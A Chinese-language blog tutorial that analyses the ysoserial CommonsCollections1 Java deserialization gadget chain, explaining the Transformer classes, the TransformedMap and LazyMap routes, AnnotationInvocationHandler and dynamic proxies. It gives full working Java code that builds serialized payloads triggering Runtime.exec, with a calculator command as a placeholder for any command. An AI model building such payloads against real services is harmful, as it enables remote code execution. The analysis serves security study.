前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7、Common-BeanUtils等这些三方库的利用。本文需要前置知识Java反射、动态代理等。CC1其实比较难,会用到很多高级特性,但理解了CC1后面的payload也就能轻松理解了。

背景

Common-collections是对jdk自带的数据类型的三方增强框架,类似python里面的collections包,common-collections 目前有两个分支,3.X和4.X,从pom文件里面可以看到两者的groupId与artifactId都不同,拥有不同的命名空间,所以可以在一个包里面可以同时使用。

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.1</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.apache.commons</groupId>
  8. <artifactId>commons-collections4</artifactId>
  9. <version>4.0</version>
  10. </dependency>

这两个包大部分的用法都很类似,我们先来了解包里面很重要的四大Transform。

Transformer

要学习CC链(我把基于common-collections利用的链简称为CC链),首先得了解CC链中用到的类及方法的基础用法,我们需要了解CC中提供的四大Transformer。

  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • InstantiateTransformer

这一篇文章先介绍前三种,后面介绍InstantiateTransformer

InvokerTransformer

在源码中,作者对这个类的解释是,这个类按照Transformer接口规范以反射的方式生成一个新对象

我们就很清楚这个类就是拿来生成新对象的,并且是通过Transformer接口定义的transform()方法生成的,可以看到Transformer接口的描述

InvokerTransformer的实现:

  1. public Object transform(Object input) {
  2. if (input == null) {
  3. return null;
  4. }
  5. try {
  6. Class cls = input.getClass();
  7. Method method = cls.getMethod(iMethodName, iParamTypes);
  8. return method.invoke(input, iArgs);
  9. } catch (NoSuchMethodException ex) {
  10. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
  11. } catch (IllegalAccessException ex) {
  12. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  13. } catch (InvocationTargetException ex) {
  14. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  15. }
  16. }

其中的iMethodName、iParamTypes、iArgs来自于构造方法.

  1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  2. super();
  3. iMethodName = methodName;
  4. iParamTypes = paramTypes;
  5. iArgs = args;
  6. }

InvokerTransformer.transform(Object input) ,就是以反射方式执行input对象的传入构造方法中的method方法。

其实common-collections的万恶之源也就是这个类,因为这个类能够根据传参动态生成新的对象,如果参数可控的情况下,我们可以用这个类来动态执行代码,如:

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
  2. invokerTransformer.transform(Runtime.getRuntime());

执行效果:

ConstantTransformer

ConstantTransformer 这个类功能比较简单,就是将初始化传入的对象变为final后执行transform返回。

  1. String test = new String("1111111");
  2. ConstantTransformer transformer = new ConstantTransformer(test);
  3. Object obj = transformer.transform(null);
  4. System.out.println(test.hashCode());
  5. System.out.println(obj.hashCode());

代码执行后输出:

可以通俗理解初始化传入什么transform就会返回什么。

ChainedTransformer

ChainedTransformer 理解起来可能会绕一些,初始化时传入transforms数组.

  1. public ChainedTransformer(Transformer[] transformers) {
  2. this.iTransformers = transformers;
  3. }

执行transform方法时会遍历初始化传入的数组,并将上一个对象执行transforms的结果作为下一个对象执行transform的参数,以链式方式进行执行

  1. public Object transform(Object object) {
  2. for(int i = 0; i < this.iTransformers.length; ++i) {
  3. object = this.iTransformers[i].transform(object);
  4. }
  5. return object;
  6. }

在已经清楚了InvokerTransformer、ConstantTransformer的情况下我们可以用他们精心构造一个transform数组来演示Chaninedtransformer。我们构造链一个Transformer数组,里面的元素有预先定义好的ConstantTransformer与InvokerTransformer。

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.getRuntime()),
  3. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
  4. };
  5. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  6. chainedTransformer.transform(null);

执行chainedTransformer.transform(null)方法时,其实内部相当于是这么调用的:

  • obj1=new ConstantTransformer(Runtime.getRuntime()).transform(null)
  • obj2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).tranform(obj1)
  • Runtime.getRuntime()).exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

执行效果:

挖掘利用链

思路一

在前面我们其实已经简单构造了一个恶意类了,即上面精心构造的chainedTransformer,我们只要去代码的海洋里面找到有谁会调用chainedTransformer的transform方法就能触发代码执行,然后安全人员就发现了两个方法可以对这个恶意类进一步的包装,使其变成一个通用的数据类型,一个是TransformedMap.decorate 另一个 lazyMap.decorate, 这两种方式都是对普通Map进行增强,使其在特定场合能够触发transform。也就是恶意类转变为了Map,使其利用更加通用。

我们来看一下TransformedMap.decorate()这个方法吧,提供了三个参数 原始map、keyTransformer、valueTransformer

跟进TransformerMap 发现其重写了map的许多方法,有checkSetValue、put、putAll ,增强map在执行这三个方法时就会执行初始化入参的Transformer.transform()方法,假如我们传入的就是我们构造的恶意chained Transformer ,那就成功的触发了恶意类。不过keytransform是对key进行执行,valueTransformer是对map的value执行,但其实父类的setValue也会调用checkSetValue,所以其实是有checkSetValue、put、putAll、setValue 调用就会触发恶意类执行。

这个时候这个恶意类的使用范围就一下扩大了,毕竟很多地方都会对map进行put或者setValue的操作,那安全人员首先就找到了sun.reflect.annotation.AnnotationInvocationHandler 这个类,这是一个JDK自带的类(rt.jar/sun/reflect/annotation/AnnotationInvocationHandler),这个类在反序列化后经过一系列骚操作最后就会调用我们上面的恶意类,分析反序列化漏洞会先从类的readObject开始,看一下AnnotationInvocationHandler 的readObject方法(jdk1.8.20),我们之前说过只要对map进行checkSetValue、put、putAll、setValue就能触发恶意类执行,那在代码的293行就很明显有调用setValue方法。

293行中的var5 其实是对象私有属性memberValue的值,只要我们将memberValue值赋于我们的恶意类,那这个漏洞是不是就串起来了。

所以我们整理下,然后用自己的代码来实现验证:

第一步,基于InvokeTransformer、ConstantTransformer生成一个恶意的ChainedTransformer

  1. public class Test {
  2. public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
  3. String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; //打开计算器,不同平台需要替换命令
  4. Transformer[] transformers = new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  7. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{new Object(),new Object[0]}),
  8. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
  9. };
  10. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  11. // chainedTransformer.transform(1); 测试触发
  12. }
  13. }

这里可能会有人会疑问为啥这个transformers 数组会通过Runtime.class 去不断反射执行,而不是像之前介绍InvokeTransformer时直接使用getRuntime()呢,即下面的transform1和transfom2在生成chainedTransfomer时有什么区别:

  1. Transformer[] transformers1 = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  4. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
  5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
  6. };
  7. Transformer[] transformers2 = new Transformer[]{
  8. new ConstantTransformer(Runtime.getRuntime()),
  9. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
  10. };

其实真正能够完成反序列化代码执行只有transformers1,为啥? 因为Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用transformers2 就会报错。

第二步,使用TransformedMap.decorate() 生成一个经过transformer增强的map恶意类

这里我们使用生成一个原始的hashmap,key和value 先随便设,这里先留个心眼,等会我们还要回头看,TransformedMap 调用setValue实际上是调用了valueTransformer,所以应该将transfomer给到第三个参数。

第二步代码如下

  1. // 第二步
  2. HashMap<String,String> hashMap = new HashMap<>();
  3. hashMap.put("testKey","testVal"); // 这个地方留坑
  4. Map evilMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
  5. // Map.Entry entry = (Map.Entry) evilMap.entrySet().iterator().next();
  6. // entry.setValue("1"); 测试触发

第三步,给AnnotationInvocationHandler私有变量memberValues 赋值恶意对象

AnnotationInvocationHandler 的构造函数没有用public修饰,没法直接通过new 的方式生成对象,所以我们要通过万能的反射获取构造方法,然后执行newInstance的方式来生成AnnotationInvocationHandler对象。其中构造方法第一个参数要求为Annotaion的子类,我们这里传入@Target,第二个参数即为我们想要赋值的变量memberValues。

代码:

  1. // 第三步
  2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 通过反射获取构造器
  4. constructor.setAccessible(true); // 设置可以访问
  5. InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 传入@target和恶意map

第四步 反序列化触发

  1. // 第四步
  2. String path = ExpUtils.serialize(evilHandler); // 使用自己封装的序列化函数返回序列化文件的路径
  3. ExpUtils.unserialize(path); // 反序列指定文件

执行这所有步骤的代码,但并没有按照我们预期的执行命令然后弹出计算器。

打上断点进行调试看一看

原来在执行setvalue前有一个if分支,要求var7不为null,而这个var7 是AnnotationInvocationHandler构造传参的第一个注解参数获取我们恶意map的key的返回值,所以要是var7不为null,恶意map的key为一个有意义的值,那应该是啥呢,打开var3变量可以看到只要将key设置为value var7即可不为null。

所以修改第二步hashMap中key为value,重新运行代码

成功执行,没毛病~

目前这个利用方式害只能在较低的jdk版本运行,1.8.71 以下,高版本移除了对memberValue的setValue方法

其实这个思路和yso中cc1的利用链还不同,也就是这其实不是CC1 ,只是另外一种方式的利用方法,那真正的CC1是怎么利用的呢? 请看思路二

思路二

思路一是通过readObject中的存在触发函数而利用的,而思路二则是回归AnnotationInvocationHandler 这个类本身,AnnotationInvocationHandler 实现了InvocationHandler,而InvocationHandler 是作为jdk动态代理使用的,通过调用InvocationHandler中的invoke方法来对被代理对象进行增强。

这里展开下动态代理吧

JDK动态代理

其实代理分为静态代理与动态代理,静态代理即手动的创建一个代理类,在代理类中调用原本的类,外界通过手动掉用代理的方式实现类被代理的效果,静态的方式有明显的缺点,如我想为某一个类增加一个埋点上报的功能,这个时候用静态代理没有问题,但我还有若干个类也想埋点上报这就需要我编写若干个代理类,不方便实际使用,所以动态代理就出来了,动态代理可以通过编写一个AnnotationInvocationHandler的实现类就可以为每一个想要增强的类实现类似的功能,非常灵活也减少了工作量。

动态代理有很多种实现,总的分为:

  • 预编译方式 主要有AspectJ
  • 运行期动态代理 代表的有 JDK动态代理、CGLib动态代理,JDK动态代理只能代理实现了借口的类

动态代理也是Spring核心技术AOP的重要实现方式,下面用一个实例演示JDK动态代理的使用。

项目中存在

Animal接口,定义了动物能干的事:

  1. package ProxyDemo;
  2. public interface Animal {
  3. public void eat();
  4. }

CatImpl 实现了Animal接口

  1. package ProxyDemo;
  2. public class CatImpl implements Animal{
  3. @Override
  4. public void eat() {
  5. System.out.println("miao~");
  6. }
  7. }

AnimalHandler 实现了InvocationHandler接口,重写后的大概逻辑就是在原对象运行的前后分别输出pre和after,注意点是原对象每次执行任意原方法如这里的eat都会调用handler中的invoke方法。

  1. package ProxyDemo;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.lang.reflect.Method;
  4. public class AnimalHandler implements InvocationHandler {
  5. private final Object obj0;
  6. public AnimalHandler(Object obj0){
  7. this.obj0 = obj0;
  8. }
  9. @Override
  10. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  11. System.out.println("pre");
  12. Object res = method.invoke(obj0,args);
  13. System.out.println("after");
  14. return res;
  15. }
  16. }

TestMain 中完成调用具体逻辑, 调用Proxy的静态方法newProxyInstance,分别传入classloader、原类接口、handler

  1. package ProxyDemo;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.lang.reflect.Proxy;
  4. public class TestMain {
  5. public static void main(String[] args) {
  6. InvocationHandler handler = new AnimalHandler(new CatImpl());
  7. Animal cat = (Animal) Proxy.newProxyInstance(TestMain.class.getClassLoader(),CatImpl.class.getInterfaces(),handler);
  8. cat.eat();
  9. }
  10. }

执型TestMain的main方法,结果:

明显已经在原来输出miao~的前后加上了pre与after完成了增强,其实个人感觉这里特别像python的装饰器。

介绍完JDK动态代理后我们回过头来看AnnotationInvocationHandler 这个类,我们发现它就是对InvocationHandler 的实现,具体Invoke逻辑如下:

在53行代码中有对memberValue做get操作,回顾之前TransformedMap增强对hashmap会在setValue时候触发恶意类,那有没有可以通过执行get方法触发恶意类的方式呢? 答案是肯定的,就是通过开头我们提到的LazyMap.decorate ,Lazymap的大致功能根据字面意思也可以知道,就是提供懒加载的功能,具体到执行get方法是,先去判断map中是否存在这个key 如果没有就调用 LazyMap.decorate 初始化传入到transformer对象的transfrom方法,进而出发恶意transform。

那思路其实就清晰了,反序列化过程中想办法调用AnnotationInvocationHandler 的invoke方法即可触发恶意类执行,那怎么调用invoke方法呢,因为AnnotationInvocationHandler本身就实现了invoke方法,所以我们直接用它作为动态代理的handler,只要原对象有执行任意方法即可调用invoker完成恶意类执行。这次甚至都不用管var7是否为null了,因为memberValues在其之前有执行entrySet方法,进而调用invoke,调用memberValues.get()方法触发恶意类。

执行流程:

  1. AnnotationInvocationHandler.readObject()
  2. this.memberValues.entrySet()
  3. AnnotationInvocationHandler.invoke()
  4. this.memberValues.get()
  5. Lazy map.get()
  6. ChainedTransformed.transform()
  7. Runtime.getRuntime().exec(cmd)

那我们用自己的代码来实现以下:

第一步 生成LazyMap增强后的map,chainedTransform生成和思路一一样

  1. // chainedTransformer 和思路一生成方式一致
  2. String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  6. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
  7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
  8. };
  9. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  10. HashMap<String,String> hashMap = new HashMap<>();
  11. hashMap.put("testKey","testVal");
  12. Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); // 使用lazyMap增强

第二步 生成AnnotationInvocationHandler 对象

同思路一一致,通过反射获取构造函数的方式生成AnnotationInvocationHandler对象

  1. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  2. Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 反射获取构造函数
  3. constructor.setAccessible(true);
  4. InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 执行构造函数生成对象,传入lazyMap

第三步 通过动态代理使用第二步AnnotationInvocationHandler的代理lazyMap,并将其作为构造方法参数赋值给memberValues

  1. Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
  2. InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 传入代理lazyMap

第四步 序列化反序列化触发

  1. String path = ExpUtils.serialize(finalEvilHandler);
  2. ExpUtils.unserialize(path);

完美触发,没毛病~

思路二就是CC1链的主要逻辑,但CC1在8u71后不能使用,我们对比下新老版本,分析一下原因

左边为新版本右边为旧版本,可以看到在新版jdk中,反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,这两种方式有什么区别呢,经过我自己多次调试发现defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因,网上大多会说是因为取消了SetValue导致不能触发,但其实不然,思路一确实是因为这个原因,但CC1和取消setValue没有半毛钱关系。

总结

经过洋洋洒洒4000多字分析了AnnotationInvocationHandler的两种思路上的利用方式,其中YSO工具中CC1链就是本文中的思路二,CC1 用到了很多高级特性,理解上可能会比较困难,但只要搞懂了后续的链也就很轻松了,目前CC1还只能在低于8u71的版本利用或者比修复这个漏洞前的版本,那如果对方机器是高版本且为Common-collections4 呢,后续的CC2 就来看看Common-collections4下的利用。

YsoSerial 工具常用Payload分析之CC1的更多相关文章

  1. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  2. YsoSerial 工具常用Payload分析之CC5、6(三)

    前言 这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload: public BadAttributeValue ...

  3. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  4. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. Java应用常用性能分析工具

    Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...

  7. Fiddler抓取https请求 & Fiddler抓包工具常用功能详解

    Fiddler抓取https请求 & Fiddler抓包工具常用功能详解   先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...

  8. SoapUI、Jmeter、Postman三种接口测试工具的比较分析

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

  9. SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

随机推荐

  1. httprunner 2.5.7 下.env 文件环境变量的使用及debugtalk的使用,对test的参数化及执行

    一.httprunner 2.5.7 下.env  文件的使用 1..env 文件配置如下: 2.debugtalk.py 编写如下: 在debugtalk.py中增加开始和结束执行语句: 3.需要做 ...

  2. 深入理解java虚拟机笔记Chapter11

    运行期优化 即时编译 什么是即时编译? 当虚拟机发现某个方法或某段代码运行的特别频繁时,会把这段代码认为成热点代码: 在运行时,虚拟机会将这段代码编译成平台相关的机器码,并进行各种层次的优化. Hot ...

  3. NX二次开发-向量乘矩阵的几何意义

    函数:UF_MTX3_vec_multiply_t() 或者UF_MTX3_vec_multiply().推荐使用UF_MTX3_vec_multiply_t() 函数说明:将向量按照矩阵进行变换:绝 ...

  4. Selective Kernel Networks

    摘要:在标准的卷积神经网络(CNNs)中,每一层的人工神经元的感受野被设计成具有相同的大小.众所周知,视觉皮层神经元的感受野大小受刺激的调节,但在构建cnn时却很少考虑到这一点.我们在神经网络中提出了 ...

  5. sqlsever 创建一个通用分页查询

    -- Author: Mis Chen-- Create date: 2018年5月15日 11:21:47-- Description: 创建一个通用分页查询-- ================= ...

  6. GlusterFS更换Brick

    故障环境还原 GlusterFS集群系统一共有4个节点,集群信息如下 # 分别在各个节点上配置hosts.同步好系统时间,关闭防火墙和selinux [root@glusterfs-master-8 ...

  7. 源码分析Gateway请求转发

    本期我们主要还是讲解一下Gateway,上一期我们讲解了一下Gateway中进行路由转发的关键角色,过滤器和断言是如何被加载的,上期链接: https://www.cnblogs.com/guoxia ...

  8. 把新建的vue项目上传到码云

    1:在码云上建一个仓库(使用Readme文件初始化这个项目的勾取消掉) 2:在项目文件中打开git命令窗口(如下图),命令git init 初始化git仓库 运行之后有一个.git文件夹 现在用vsc ...

  9. jquery循环动画

      <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title&g ...

  10. Android开发万能Utils(工具大全)

    AndroidUtils Android开发不得不收藏的Utils About AndroidUtilCode  是一个强大易用的安卓工具类库,它合理地封装了安卓开发中常用的函数,具有完善的 Demo ...